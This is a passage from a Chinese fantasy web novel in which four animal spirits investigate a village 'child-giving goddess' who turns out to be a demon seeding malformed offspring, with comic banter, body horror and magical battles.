胡和烈噼里啪啦：“哪里不一样啊，你能不能说仔细点？隐疾又是什么？你这说一句藏半句的是几个意思？”
谢珍珠缓和地说：“是啊冯姑娘，你说仔细点，我们也好对症下药不是？”
“好、好……”冯紫苍白的脸浮上羞愧的羞红，她急促地深呼吸了一下，这才继续道，“那些隐疾是，每一个生了孩子的女人，原先的乳*房下边会再长出……两只新乳，还会分泌乳*汁。肚子像树皮一样，纹路却是一张鬼脸……”
“不止如此，她们的脚会肿胀起来，走一会就要歇一会，更别提离开村子了；而且到了晚上，她们就什么都看不见了，就算点着油灯，也是有些模糊……这就算了，不知为何，仙娘送的孩子都格外调皮闹腾，更出生时离了人就哭喊不止，长大些常常闯祸……像我姐姐的儿子小山就是这样。”
谢珍珠越听脸色越苍白，她的视线不自觉在不远处路过的一个年轻女子身上停留了一会，又觉得自己不礼貌，连忙收了回来，喃喃道：“怎么会这样？人怎么会有四个乳*房，肚子上怎么会有鬼脸……”
她摸摸自己的肚子，又把手放在胸口，有些难以接受：“我才不要这样的人形……我从来不知道还有人长这样的。”
冯紫看谢珍珠害怕中有些庆幸的神情，叹了口气道：“我姐姐也不忍心我变成这样，所以才偷偷带我去拜观音娘娘。”
叶米便问：“所以之前都没出现过这样的情况，是这个送子仙娘来了之后才会这样？”
冯紫：“……是吧？我之前也是从未听过，要不是姐姐告诉我，我还蒙在鼓里。”
“欸，那你们村的姑娘们知道会变成这样，为什么还人人都去拜仙娘？”万情贞提出疑问，“不拜不就行了？”
冯紫想了想道：“她们是变成这样之后才知道的。这事也不好往外说，毕竟谁想让别人知道自己变成了怪物呢？久而久之，这就成了所有知情人秘而不宣却彼此意会的秘密。”
她越发出神地说：“不用怕谁不会知道，也不用怕知道了的人……大家一起把嘴巴闭严实了，想着村里所有的女人都是这样的，便也不觉得自己奇怪了。可是我、可是我不想……我……”
说到这她又抽着鼻子哭起来：“可是我已经知道了啊，我现在又想，是不是当初姐姐不告诉我还比较好？”
“冯姑娘，你别这么想，”谢珍珠拍拍她的肩膀安慰道，“谁不想做个正常人呢？你姐姐对你这么好，把真相告诉了你，就是不想你步她后尘……”
冯紫擦着掉不完的眼泪：“我明白……可是我真的不知道该怎么办。现在我有家不能回，也不敢去拜仙娘……”
听了这么久，叶米忽然发现一个先前没注意到的盲点：“冯姑娘，你不敢拜仙娘，又不能拜观音，那就谁都不拜好了，你既然还住在家中，那便是还未婚嫁，这么急着生孩子做什么？”
胡和烈听着很有道理啊，一拍手：“是这么回事，你谁都不拜不就行了！”
“哦……”冯紫抹抹眼泪，意识到几人不是他们村里人，不知道他们村里的规矩，这才送上迟来的解释，“是这样的，我们村里的习俗是，先怀上孩子再办婚事，所以我才有些着急。”
万情贞很理解地点点头：“是有这样的地方。”
叶米脸上写着理所当然：“所以呢，那不办婚事就行了是吧？”
冯紫和万情贞异口同声：“当然不行！”
叶米：“为什么不行？”
冯紫还觉得她问的问题奇怪呢：“没为什么的……”
万情贞凑过来小声说：“猫大人，凡人就是这样的，一定要办婚事才好。”
叶米就更觉得人类很麻烦，可她没办法，谁让要成仙就要在人间走这一趟呢？她很快就说服自己、压下不耐，还算好脾气
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道：“好，所以你想我们怎么帮你？你想要什么？”
冯紫想了想说：“我、我就想怀上一个正常的孩子，尽快嫁出去，生了孩子之后也不会变成我姐姐那样……”
这要求听着倒是不难哈。
四妖沉默了一下。
胡和烈灵光一闪：“这不还有一个最好的法子，你让你那个……还没娶你过门的男人努力一下、多来几回不就成了？人生孩子不就是那一块肉的事？”
他们是动物成妖，在万妖堂里学的是做人基本的礼义廉耻，关于一些男女之事的教学内容，夫子们采取民间学堂保守的“避而不谈”方策。既然没教多少，那就少了许多约束，于是小妖怪们在这事上保持了些本性。
那冯紫就不同了啊，人家姑娘是如假包换的正经人类，一听胡和烈的话，火从脖子上开始着，一下子就蹿满了整张脸，她感到自己的脑子要被烧坏了。
螃蟹精还在那说：“这个办法好呢！冯姑娘，你……嗯？你脸为何这么红？？”
冯姑娘说不出话，还是较为熟悉人类的万情贞给她打圆场：“哎呀，凡人就是这样的，他们避讳说床上的事。”
叶米很宽容道：“不说就不说，能做就行。”
谢珍珠：“对啊对啊，冯姑娘，你回去和你郎君商量一下？”
冯紫的脸已经红到发紫：“正是因为……做了许多次……还怀不上……所以我才……”
四妖霎时了然：“哦~~”早说嘛！
背着浑身僵硬的冯紫，他们转过头来凑在一起嘀嘀咕咕：
猫说“要不我们把那个男的做了，让她再找一个新的”，螃蟹连忙摇头“不要不要啊”；虎头蜂建议“这种连繁衍能力都没有的男人有什么用？给那个男的一点教训，让他自己放弃”，书灵嗅到了虐文的味道“要是他们之间是真情呢，宁拆一座庙不拆一桩婚啊”……
巴拉巴拉。
“那个……”冯紫听到了许多恐怖的词汇，觉得头晕晕的，“要不，我还是自己看着办……”
叶米转过身来，很是负责地说：“我要管的事没有管一半的。”
这事是某书促成的，他连忙捧场地鼓掌：“对啊对啊！”
冯紫感到一丝后悔，她哀求地和几妖商量：“好吧，那能不能不要伤害我的郎君……”
“我们已经想好办法了，”叶米道，“既然生了孩子的女人会变成怪物这事是送子仙娘来之后才有的情况，并且除你们村外的其他地方也没听过这回事，那问题就出在送子仙娘身上，既然如此，就让我们会会她的本事有多大。”
“叶姑娘是何意？”冯紫不安地看看几人，“你们打算做什么？”
叶米微微一笑：“这你不用管，你现在带上东西去村外的秋果寺待着，求观音娘娘保你平安就是，其他的事不用多想。”
“可是……”
谢珍珠：“冯姑娘，你就听我们的吧。”
冯紫就是有再多不安，但想到自己又无力做什么，只好一步三回头地走了。
25. 第 25 章
等她走远了，万情贞便问：“猫大人，你又想了什么好法子呀？”
“你们没听那冯紫说的吗，就算她郎君不能让她怀孕，这个仙娘还能给她送个孩子来，生了这个孩子的女人会身体异变，生下的孩子也调皮异常、与其他孩子不同，显而易见，这孩子不是真的‘孩子’，是送子仙娘影响人类的一种渠道。”
这么说着，她的眼神落在了胡和烈身上，众妖也跟着看去，搞得胡和烈一脸莫名：“……你看我做什么？”
叶米露出一个意味深长的微笑：“我只是好奇了，这个孩子到底是什么来头？怎么影响的人？那位了不起的送子仙娘，又能不能让男人怀孕呢？”
胡和烈：……？
胡和烈：！
他立刻明白叶米想做什么，怒而跳起道：“为什么是我！？这不还有一个男的？？”
万情贞一惊，头和手一起摆：“不行啊不行啊，我不行的！”
叶米和他讲道理：“万情贞这么弱，要是有个好歹很快就死了，你身强体壮、法术又仅次于我，抗危险能力更高，就是有什么意外，你还有从家里带来的灵丹妙药救治……怎么看都是你去更合适。”
万情贞生怕叶米把主意打到他头上，连忙殷勤地讨好虎头蜂：“是啊是啊，胡大哥，你法力高强、有勇有谋，肯定不会出事的！像我就、就不一定了……到时候我死了，你们也不好和月老交代是不是？”
胡和烈不依：“我不要，没听过男妖怀孕的。”
叶米：“这不正好？你就做这第一妖，给妖界涨涨见识。”
胡和烈：……
万情贞：“千百年后，大家提起虎头蜂妖，肯定第一个想起胡大哥你。”
胡和烈：…………
谢珍珠：“胡大哥，你该不是害怕吧？”
叶米：“你害怕的话我来也行，反正我不怕。找你一个男妖的原因也不过是想知道这仙娘的本事有多大，既然你害怕，那就算了，我来……”
胡和烈：………………
“谁害怕了！？”
事情就是这么个事情，最后还是决定让胡小爷上了。
万情贞还考虑了很多细节：“这送子仙娘气量小脾气大，如果胡大哥就这样去拜了，她怕是会察觉到什么……”
叶米觉得他说得有道理：“哦？你有什么高见？”
万情贞：“我建议让胡大哥男扮女装。”
“好主……”
“你找死是不是！？”胡和烈揪起万情贞的领子，拳头就要挥起来，“你再说一遍？信不信我把你撕了！”
叶米很欣赏万情贞出的点子，便好心地把他扯过来救下，朝胡和烈道：“扮女人怎么了？”
胡和烈气得大喘气：“没听过这种事！”
叶米：“这不正好？你就做这男扮女装第一妖，给妖界涨涨见识。”
胡和烈：……？
万情贞：“千百年后，大家提起虎头蜂妖，肯定第一个想起胡大哥你。”
胡和烈：…………？？
谢珍珠：“胡大哥，你是不是不自信、怕自己扮得不像啊？”
叶米：“你没自信的话我来也行，反正我本来就是女的。找你一个男妖的原因也不过是想知道这仙娘的本事有多大，既然没这自信，那就算了，我来……”
胡和烈：………………
“谁没自信了，不就扮个女人！？”
事情就是这么个事情，最后还是决定让男扮女装的胡妹妹上了。
*
仙娘庙就在村尾，越往里走，就瞧见越多来往的村民，许多人手臂上挎着装满瓜果的篮子，双唇不停地微微开合，念叨着等会要在仙娘前祈求的话语。
一个这般模样的大娘从四妖边上擦身而过，叶米嗅嗅鼻子，目光落在她挎着的篮子上，肯定道：“有生肉的味道。”
胡和烈也说：“我也闻到了，还挺新鲜。”
万情贞小声惊讶道：“两位的意思是……他们的篮子里有生肉？”
惊讶完他又自己解释道：“……也是，毕竟是豪猪嘛，喜欢吃生肉也是正常的。”
谢珍珠也看了几个篮子，不知怎么觉得有点好笑嘞：“还有胡萝卜和黄瓜……好接地气哦，哈哈哈。”
仙娘庙并不大，原本就是一个普通人家的屋子大小，后来村民们拆了两边的屋子扩建了，这才有了和村外的秋果寺差不多的规模。但也就是两个半大的院子，第一个在前门迎客，第二个在后边算是后院。
跪拜祈福仙娘的屋子就正殿一间，两侧各有一间厢房，左边那间用来堆放村民们送来的供品，右边就是普通的杂物房，里头住着轮班管理仙娘庙的信徒。
走近门口就发现又一个古怪处了：仙娘庙中没有香火味。
“怪不得冯姑娘说她爹闻见她身上的香火味就知道她去了观音庙，我当时还奇怪呢，原来是因为送子仙娘不喜香火啊。”万情贞啧啧啧，“不是我说，这村民就不觉得奇怪吗，哪有供奉神仙不烧香的？”
胡和烈哼哼：“奇怪的地方多了去了，可这些人早就被这妖精的送子神功搞得神志不清。”
“神志不清？”叶米扫视过一个个村民的神情，不置可否，“我看有许多人清楚得很，不过是在将错就错。”
这也是她讨厌凡人的一点。
“管他们呢，先把事解决了再说。”
说罢，胡和烈就要迈入仙娘庙的门槛，万情贞手疾眼快地把他拉下来：“嘿嘿，胡大哥你是不是忘了什么？”
臭书灵……
胡和烈翻了个白眼，使了个障眼法屏蔽了周遭路人的视线，摇身一变成一个容貌清秀的年轻女子，除了脸色是熟悉的“小爷不耐烦”，站姿也不太淑女之外，倒是一点也看不出他原本的模样。
可看不出来是一回事，知道实情的总是觉得好笑的。
谢珍珠捂住嘴巴，扭过头去不敢多看一眼，只怕笑出声来被骂。
万情贞也是咬上了嘴唇。
叶米就没那么多顾虑，扯着嘴角就笑了几声，看胡和烈白眼都要翻到天上去了，她心里爽得很，还走上前去勾住他的胳膊，亲近地
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说：“胡妹妹，走啊，姐姐陪你进去拜仙娘。”
胡妹妹：……
“你再叫一句？”
叶米哪里怕他：“好妹妹，走啊。”
他气得要死，想把手扯回来，但是叶米已经拉着他往里边走了。事已至此，他也不是不顾全大局的人，胡妹妹只好忍下满腹羞恼的怒火，很不情愿地被拉着往里走。万情贞和谢珍珠也紧跟其后。
前边提到了这仙娘庙不大，但是来拜的村民很多，正殿内仙娘像前摆着四个蒲团，大家都是排队去跪拜的。
谢珍珠见村民们手上多少带着点东西，又看胡妹妹两手空空，便偷摸变出一个装满胡萝卜和黄瓜的篮子递上去：“胡大、咳，姐，我们也送点东西给仙娘，意思意思？”
胡妹妹瞅她一眼，还是接过来了。
等了有一会，总算轮到胡妹妹跪蒲团了，他记着刚刚偷听来的念词，没什么诚心地双手合十，漠然看着面前俯视他的仙娘像道：
“仙娘保佑，信女愿断恶修善、一心侍奉仙娘，不为己求，只为求得一福德智慧的儿子，求仙娘怜悯。”
说完祈祷语，一些诚心的弟子会跪拜磕头，可胡妹妹不乐意拜这妖精，觉得自己做到这地步已经非常给面子了，便抬起膝盖就走。
篮子是变出来的假货，不过是提着好看罢了，四妖便没送去供品房，直接出了仙娘庙。
刚出门槛，胡妹妹就再忍不了一秒，飞快得变回了胡小爷，这才觉得五脏六腑通了气，舒服了许多：“行了吧？接下来要做什么？”
叶米：“等。”
“等什么？”
“等你怀孕啊。”
看她理所当然、嘴角微勾、一副看好戏的模样，胡和烈这下不得不感到不安，他一面觉得自己是个男妖，怎么可能会怀孕呢；一面又隐隐知道这送子仙娘让人怀孕的手段并不寻常，指不定他还真的会……
胡和烈摸了摸肚子。
叶米看他的动作，没忍住笑出声来：“哈哈哈哈哈！真是难得见你这幅害怕的模样，哈哈哈哈！”
“喂！”胡和烈恼羞成怒，“我这么做是为了谁啊？！”
“为了你自己啊，难道你不用考核？”叶米笑眯眯道，“我们不过是顺便受益了。”
胡和烈：……
这么说好像也没错，但是他怎么心里这么不舒服呢。
谢珍珠见状不妙，连忙说好话哄他：“胡大哥，你的牺牲我们都看在眼里记在心里的……是不是啊，万情贞？”
“是是是，”万情贞意会，“我现在就写‘胡和烈为救秋果村百姓于水火，自愿以身涉险’……”
胡和烈吐出一口恶气，像是有些得意地瞥了某猫一眼，觉得自己的牺牲还算有回报：“哼，这还差不多。”
叶米笑而不语。
他们找了处没人住的破屋子落脚，夜深后，叶米就不见了人影。
谢珍珠把门关上，他们找的屋子破败得很，明明风也不大，但一吹来就吹得门轰轰作响，听得她心惊，尤其是猫还不在，她感到很多不安。
26. 第 26 章
螃蟹精和书灵挨着坐在一起，时不时偷摸看一眼坐在对面的胡和烈，对方总是无意识地摸自己的肚子，脸上一会若有所思一会咬牙切齿，看得她俩也有些心惊胆战。
油灯的火苗静悄悄地晃动，其实他们一般不点灯的，今晚也不知怎么的点了灯，三妖看着火苗发呆，都没有入睡的意思。
“我肚子……有点古怪。”胡和烈忽然说。
谢珍珠紧张道：“怎么了怎么了？”
胡和烈感受了一下：“咕噜噜的。”
谢珍珠和万情贞对视一眼，小心地说：“……会不会是饿了？”
“……”
胡和烈就吃了点东西，没再说话了。
话分两头，这一边的叶米进了白骨林中，熟门熟路地又溜进那妖精的洞穴里，这一次她一进门，就毫不犹豫地伸手开了离门口最近的那扇门。
她早就做好了躲闪暗器的准备，没想到等了几秒，房间里却没有传出任何动静。
叶米偏了偏头往里边看了一眼，黑乎乎静悄悄的，看不到有什么古怪。她向来不是在危险到来前就害怕危险的妖，并不犹豫地进了屋中，猫眼扫视一圈，发现就是一个空荡荡的、很普通的屋子。
难道没有暗器就说明房间里没有探索的价值？
叶米退出房间关好门，转手又开了另一扇，还是没动静，她再次进去看了看，依旧是什么东西都没有。
她没多待又退了出来，站在过道上看着面前四扇还没开的门，若有所思。
不过是转瞬间的念头，叶米手势一起飞出法术，“乒乒乓乓”地将四扇门同时打开，刹那间有数不清的棘刺从四扇门里飞出，不过因为门两两相对着，棘刺们就一边飞出来，咻地进了另一边的房间，有些不长眼的就互相撞，掉到了过道上。
叶米露出意料中的微笑，静等在边上，打算先让棘刺飞一会。
咻——
有什么东西迅速地飞过，穿灭了火苗，悄无声息地刺进了胡和烈的肚子里。他猛然惊醒，第一反应是自己怎么就睡着了，第二反应是肚子好像怪怪的。
胡和烈坐起身来擦了把汗，想到刚刚做的噩梦，不自觉又摸了摸肚子，怎么摸怎么感觉奇怪——难道又饿了？
转头看看两个小伙伴，都睡得很熟。
胡和烈察觉到一丝不对劲，但又说不上来，他没心大到要继续睡，想了想还是站起来，悄声地往门外走去。
推开门，迎面而来一阵风……不对，是一阵浓郁的妖气，屋外很静，什么动静都没有。胡和烈被妖气冲得皱起眉头，隐隐察觉是那妖精来村里了，刚刚他睡得无知无觉，估计和这事有关。
到了门外抬头一看，空中笼罩着一层漂浮的黑气，并不高，却足够将夜空遮得朦朦胧胧，月亮只留了个不清楚的轮廓，星星更是瞧不见了。
胡和烈当即明了，看来整个秋果村都在那妖精的掌控之下。
如果叶米的鼻子没闻错，这妖精就是豪猪精，既然她来了村里，那么叶米那应该还算安全……胡和烈嗅着妖味，心想昨晚叶米没和豪猪精碰头就溜回来了，今天他正好有这机会，那不如……
他还没打算好，却突然听见动静，转头望去正好瞧见一个黑色的身影从一间屋子里飞了出来，胡和烈顿时什么想法也没有了，摇身一变成原形，扇着翅膀就跟了过去。
他的原形不大，在晚上飞来飞去并不显眼，不过胡和烈还是该躲则躲，一会藏在树里一会隐在墙后，跟了没一会就看见那黑色身影停在一间屋子的门口，他才有机会凑近瞧了瞧。
这是一个穿着黑色衣裙的妖精，相貌普通，就是妆容有些妖冶，光看脸的话，预计年岁在凡人三四十岁，那换算成妖应是五百岁以上。她神情冷漠地立在那户人家的院墙上，伸出一只长着利爪手，很快就有一根眼熟的棘刺从她的手掌心里穿出，毫无阻碍地越过墙、飞进那户人家里。
胡和烈联想到什么，瞳孔微缩。
放完棘刺，妖精也不留恋，转身便要走，胡和烈连忙扇着翅膀追上。可那女妖飞一步跳一步的越来越快，他虎头蜂的原形小巧、容易隐蔽，弊端是同样的速度飞的距离会短许多。
这会眼见就要跟丢了，胡和烈一时也管不了这么多，转身变了人形。
这下飞得是快了——然后被发现得也快。
“谁！”
女妖刚落在一处屋檐上，毫无预兆地转过身来，看了看周遭，却瞧不见人影，她微微眯起了眼睛。
胡和烈抱着胸站在她眼前，他使了隐身术，只要这妖的法术没他高便瞧不出来。瞧这妖眯着眼睛左看看右看看的模样，显然是有所察觉但拆不穿他的法术，看来这妖的实力也不过尔尔嘛，有什么好……
“啊！”
小腹传来的剧痛让得意的虎头蜂失口惨叫一声，他捂住肚子，额头瞬间就冒了冷汗，还没等他反应过来肚子是怎么回事，几道棘刺朝他飞来，胡和烈忍着痛躲过，咬牙不出声。
可那女妖并不打算放过他，她虽然不知道他在哪，却能让他小腹的疼痛越来越剧烈。
虎头蜂死死咬着嘴唇，已经疼得直不起身，半跪在地上浑身发抖，他从来没有这么疼过，几乎要神志不清。他的肚子里到底被搞进了什么玩意？
胡和烈起了手势想要用法术探查，却发现法术进入腹中后，反倒被那东西吸收了，模模糊糊只能感觉到一个不规则的黑色圆球。
搞什么啊……
疼死了！
……不能叫出声，他现在可没有力气躲那些棘刺……
那女妖似乎也没想到他这么能忍，等了有一会，也找不到胡和烈的位置，她倒是也不急，轻轻笑了一声道：
“我知道你就在附近，既然你会隐身术，想来也不是普通的凡人。我劝你趁早离开秋果村，别再来我跟前碍眼，如此算我放过你一马。”
放过他一马？
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>呵，连他的隐身术都看不穿的小妖，居然口气这么大！
疼得失去表情管理的胡和烈一边庆幸对方看不到自己的狼狈，一边在心里很是不屑，他听这妖的话，只觉得她不敢与他对峙，所以才说让他们快些离开，想到这里，胡和烈稳住声线喊道：
“妖精，你在我肚子里放了什么鬼东西！”
话音一落，他很有前瞻性地往边上一闪，果然闪过几根闻声飞来的棘刺。
又没命中，女妖却不生气，反而哈哈笑了几声，听着很是猖狂：“原来你是个男的！哈哈哈哈！我告诉你，这可不是鬼东西，而是你的宝贝孩子啊！哈哈哈哈哈！”
听她的笑声，胡和烈是又气又疼，脑子将要炸裂：“男人都能怀上的怎么可能是孩子！”
“哈哈哈哈！”这对女妖来说似乎是一间格外值得开心的事，笑得她眼泪都要出来了，“怎么不可能？等你生了就知道了，哈哈哈哈哈！”
胡和烈想杀妖，无奈疼得力竭，他忽然闪过一个念头，要是叶米在就好了，她定能把这只可恶的妖精碎尸万段……
不对！是那只臭猫的破主意害得他肚子里被弄进不知道什么鬼东西，才落得现在狼狈的下场，可恶的叶米……
意识不清的胡和烈没发现讨厌的笑声戛然而止，女妖的脸色猛然僵住，瞳孔慌张地闪烁了一下，似乎在头脑风暴着什么，不过一会，她就转身闪离，连留下一句话的时间都没有。
虚弱的一声：“喂……”
胡和烈倒在屋顶上显出原形，他的肚子现在不疼了，一滴汗水流过他的眼皮，还没到脸颊上就落入他睁开的眼中，这时候再看，他只能瞧见女妖快要看不见的背影。
话说这边，叶米已经打开了许多扇门，她在一扇有暗器的门里发现了一堆胡萝卜黄瓜和生鸡肉，都很新鲜；又在另一间屋里看见许多女人的服饰，看着是年轻女子的衣裳。
可是有一些有暗器的门里还是什么都没有，叶米觉得很是不对劲，细致探查后才发现原来空房间里都有一面墙是可以翻转的，进入其中后就是曲折的密道，也许是这妖精为躲藏逃生所造。
她没急着进密道，毕竟房间还没翻完，她不相信这么多房间里只有放吃的和穿的，于是继续着她的开门工作。一开始还好，意外就发生在她开了第……连她自己都忘记是第几扇门的时候。
熟练躲过棘刺，叶米翻身进了屋内，就在她以为这也是一间普普通通的屋子时，黑暗之中传来躁动的、窸窣的声音，很快就有无数个东西涌动起来，光影错落之间显出它们的模样，密密麻麻得像是地面起了鸡皮疙瘩。
叶米夜视能力好，很快就瞧清楚了，那几十坨奇怪的、正在互相蠕动的东西是什么：
原来是还未成型的人类婴儿……哦，也不是，还是说畸形肉块更合适吧。
她散漫地纠正着对那些玩意的认识，指尖上点起法术的光，照亮最近一排丑陋的肉块的脸。
27. 第 27 章
女妖赶到的时候，她其实已经杀干净了。
这些都算不上是妖怪，不过是一些邪祟之物，会爬，爬起来很快；会叫，叫的声音很刺耳；还会咬人，不过没咬着叶米。虽说数量多，但对厉害的猫妖来说也不过是几个招式的事。
等她干完这一票，打算踩着肉块尸*体铺成的地毯搜查这臭烘烘的房间的时候，女妖匆匆赶到。
叶米不是没有察觉，不过这一地烂摊子收拾起来实在麻烦，那就不收拾吧。等女妖进了屋，但凡她脑子有芝麻大，肯定知道屋里进恶贼了。
叶米转过身去，和僵在门口的女妖打了个第一个照面。
女妖看着满地尸骸，深色的双唇止不住发抖，似是瞧见了多么恐怖的场景，一开嘴还有些颤音：“你、你是谁，竟敢闯我洞穴、杀我孩子！”
叶米没有作为恶贼的心虚，反而很坦然地打量了她一下，有些新奇道：“原来你就是豪猪精。”
女妖：？
再大的怒火也得暂停一下：“……谁是豪猪精？”
叶米：？
她随脚踢了踢地上的东西：“你的猪刺。”
“……”
这个时候女妖对叶米的怒火就暂停不住了，她大叫一声，不予解释，伸着爪子就朝叶米飞来。
叶米也不闪躲，一掌迎上，狭小昏暗的空间内瞬间炸开黑白两道光，风起气涌，很快白光就吞噬了一切，将女妖猛然掀开，砸到了外边过道的墙壁上，砸出一个不算浅的人形坑来，就连整个洞穴都震动了一下。
女妖一手扶住胸膛，噗地突出一口血。
叶米收回手，看着女妖吐血的惨状，心想这妖精的实力也不过如此，那青蛇是从哪里道听途说来的厉害？
……嗯，说不定是她太强了。
叶米自认是个宽宏大量、讲道理的好妖：“我不会将你赶尽杀绝，刚刚是你先莫名动手……哦，进你洞穴这事是我冒昧了，不过我也不是要偷什么名贵东西，只是在找断魂草，至于这些玩意……”
她低头看了看，自己的脚踩在一个头颅上，脚一抬，那只被她踩到的眼睛就睁大了死死盯着她，叶米耸了下肩：“它们不过是你这只妖自产的衍生邪祟物，要多少有多少，说什么孩子不孩子的，就不用碰瓷我了。”
“呵……”女妖挂着血的嘴角一勾，露出一个略有些疯癫的笑容，“岂有此理，擅闯我洞府还敢这般理所当然！看你年岁不大，不懂人情世故，就让我来你爹娘好好教训你——”
听她放狠话，叶米心中不屑，只当她是强弩之末，想着干脆把这妖丢出去，让她安心在里边找完断魂草再说好了。
但她刚走一步，就见那女妖手一挥，面前忽然炸出黑色的烟弹，烟雾伴着妖味迷茫，呛得她连忙挡住脸退了两步，眼里飘进一些稀碎的粉末，叶米难受得眯着眼睛挤出眼泪。
阴招……
等黑色烟雾散去、叶米睁开红彤彤的眼睛时，那妖精早已不见了身影。
跑了？追不追？不，还是趁此机会找到断魂草……但是她会去哪？这豪猪精刚刚说的话看起来不像是要放过她……她想做什么？
叶米站在原地斟酌了半秒，闪身离开了洞穴。
一路循着妖味，叶米腾云驾雾着追了上去，却发现那妖精是往秋果村去，她感到一丝不妙，又想到这妖精就是送子仙娘，村里姑娘求子后两日就能怀、以及刚刚在那间屋子里发现的一堆畸形胎儿……
叶米察觉到其中的关联，但并不知晓这妖精要做什么，便加快速度追上去。
她赶到的时候，只见“豪猪精”立在空中打坐施法，周遭有无数道黑气从秋果村的每一户人家里飞出来，源源不断地汇聚到空中，形成一道妖气屏障环绕着她，空中有明显不稳定的法术波动。
……看起来不妙。
叶米眉头微皱，就要施法打断人家，却听到一声虚弱的叫唤：
“叶米！”
她回头找了找，看见谢珍珠躲在一个巷子里探出头来，脸色慌张地朝她招了招手，嘴上好像在说“不要啊”。
叶米想了想，转身向她飞去，进了巷子里才发现里边还有胡和烈跟万情贞，前者坐在地上、脸色苍白，后者蹲在他边上，一脸的忧愁在看到叶米的时候总算消散了一些：“猫大人！”
“怎么回事？”
她才离开了一会，这三人怎么就这样了？尤其是扑棱蛾子……
谢珍珠扑过来，哭哭啼啼地说：“叶米，胡大哥怀孕了，怎么办啊呜呜呜呜……”
叶米：？
她诧异地看向胡和烈，胡和烈有气无力地骂螃蟹精：“你给我闭嘴……”
叶米走到他边上，蹲下来用手贴着他肚子，确实察觉到胡和烈的肚子里有一股妖气波动。
万情贞关心地问：“怎么样啊？”
叶米点点头：“孩子很健康。”
“那就ha……不是不是，”这口气差点让他松下来，万情贞满脸着急，“叶米，胡大哥肚子里面的东西真是孩子？”
见叶米沉默了一下，盯着她的胡和烈气得说话都不利索了：“你、臭猫，是你让我去拜那什么狗东西，我才，要不然我不会……”
“好好好，”叶米拍拍他肚子，安抚道，“我会负责的。”
胡和烈把她手甩开：“谁要你负责！”
叶米说：“你肚子里头不是你的孩子，是那妖精的衍生怪，等我杀了那妖精，它自然会消失。”
听到这，三妖都松了口气，不是人类的孩子就好，不然真是不知道怎么下手。
谢珍珠又说：“叶米，可是那妖精能用这个东西控制胡大哥，发作起来的时候好疼啊。如果不赶紧除掉，胡大哥会不会疼死啊？”
胡大哥：“你说什么呢！”
“我在关心你嘛……”谢珍珠躲到叶米的身后，“怎么办啊叶米……”
“这豪猪精法力不强，我现在就去把她杀了。”
“别别别，你等会吧，”谢珍珠赶紧拉住她，“她现在不知道在施什么法，刚刚胡大哥偷袭她反倒被反噬了，吐了好大一口血呢！要不你先等她弄完这招？”
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叶米：不信。
然后吐了半口血回来，老实地说：“嗯，那就等等吧。”
三妖：……你都已经去了！
不过她也没完全老实，她交代三妖躲好别出来，偷摸循着一道黑气进入一户人家的屋中，看见了那股黑气是从这家小孩和小孩他娘的身上腾飞而起的，本是两股细细的，汇聚到空中成为一股粗粗的，就这么像输血似的源源不断向女妖输送而去。
叶米心想，既然不能直接攻击女妖，那这股黑气……
“噗。”
她擦去嘴角的血，只觉得心肺都在隐隐做疼，暗道这是什么歪门邪道，居然有如此邪门的反噬之法，不过好在这股黑气还是被她斩断了，这半口血也算没白吐。
叶米走近这对母子瞧了瞧，女人的脸色苍白毫无血色，这倒是正常的；不正常的是边上的小孩，脸上居然附着浅浅的黑气，罩着他的面容有些诡异可怖；至于他爹……睡得像死猪一样，普通男人。
看这小孩也就一岁多，叶米便明白他估计是豪猪精赐来的“种”，那定不是普通的孩子，估计和她在豪猪精洞穴里看到的畸形肉块有关……
所以究竟是人还是衍生怪？
叶米的指尖闪着光，眉宇间有些犹豫不决。
杀还是不杀，这是一个问题。
不过对叶米来说，她总是知道怎么解决问题的，比如这会她分析了一下利弊：不杀，留下祸患，搞不清楚是人还是怪；杀了，能搞清楚是人是怪，而且谁都不在她边上，就算真是人，也没妖知道是她杀了……
“叶米！”
叶米一惊，回头一看，是神色匆匆的谢珍珠。
“？”
“胡大哥出事了，你快去看看！”
真是不省心。
叶米跟她回去，发现胡和烈肚子上也牵出了一条细细的黑气，三妖都有些手足无措，不过叶米刚刚斩断一条，这会很熟练地就帮他解决了。
胡和烈舒了口气，脸色惨淡地开口：“这玩意会吸食我的法力和精气。”
谢珍珠好不担忧：“胡大哥，那你现在是不是很弱啊？”
“……你别说话。”
谢珍珠又扒拉住叶米：“怎么办啊叶米……你看外边都是这些一条条黑气，是不是吸得越多，那妖精就越厉害？”
她都想到了，叶米怎么会没想到，她嘟囔一声“麻烦”，转身飞了出去。
“叶米！”谢珍珠追了两步没敢再追，焦心地团团转，“怎么办怎么办，那妖精这么厉害，连叶米和胡大哥都头疼，我、我……我什么忙也帮不上……”
“你闭嘴就是帮忙。”胡和烈扶着墙站起来，翻了个小白眼，因为没力气翻大的，“她要去做什么？”
万情贞站在巷口找寻叶米的身影，好不容易找到了，回过头来飞快地说：“胡大哥，叶米好像要强硬打破豪猪精施法。”
胡和烈呼出一口气：“是要这样，不能让她吸了这些凡人的精力增强法力……走，我们去帮她。”
“可是你……”
28. 第 28 章
“你蠢不蠢！”扑棱蛾子大骂螃蟹，“现在不去帮她，等那妖精邪术一成，你觉得我们胜率有多大？！”
说完他就飞出去了，万情贞瞥了谢珍珠一眼，朝她点了点头。
螃蟹精怕得要命，哭丧着脸跟在万情贞后头。
再说这边，叶米正施着法术企图打断女妖的施法，不过这是一项大工程，这女妖的妖术几乎已经蚕食了整个村子，几乎家家户户都有她赐予的孩子。
叶米源源不断地输送法力企图斩断女妖与那些孩子的联系，提着一口气，死死抿着唇不让反噬受伤的血流出来，只怕气泄力竭。
她瞧见胡和烈领着螃蟹精和书灵也凑上来帮忙，不过四妖都没工夫打招呼，只是勉力支持着她。
在他们坚持不懈的努力下，黑气被逐渐消除，那女妖也察觉了不对劲，睁开眼来瞧见她们几人，先给了一个嘲讽的讥笑：“不自量力，我潜心修炼的母子连心大法，岂是你们这些小妖能打破的？”
“听都没听过的歪门邪道，”叶米一说话，开了缝的嘴里就流出血来，倒是不影响她语气的稳定，“不自量力的是你。”
这么说完，她朝那三妖喊了一句：“撑着！”
三妖不明所以，见她忽然收了法术，分给他们的压力徒增，较弱的螃蟹精和书灵好险要晕过去，憋着一口气血不敢收手。
女妖见叶米收手，以为她要放弃，还没来得及笑，却见她双手飞快地在胸口结印，眼花缭乱后合成一个指决立定，嘴里飞快地念叨着什么，女妖只听见稀碎的几个字：“天上三奇日月星……如律令，破阵！”
就见金光一闪，莫大的冲击从女妖眼前崩开，她只觉躯干四肢上被溅上无数炙热的光点，快将她烧灼至死，内里的魂魄仿佛被两只对立的大手牵扯着，马上要被撕裂。
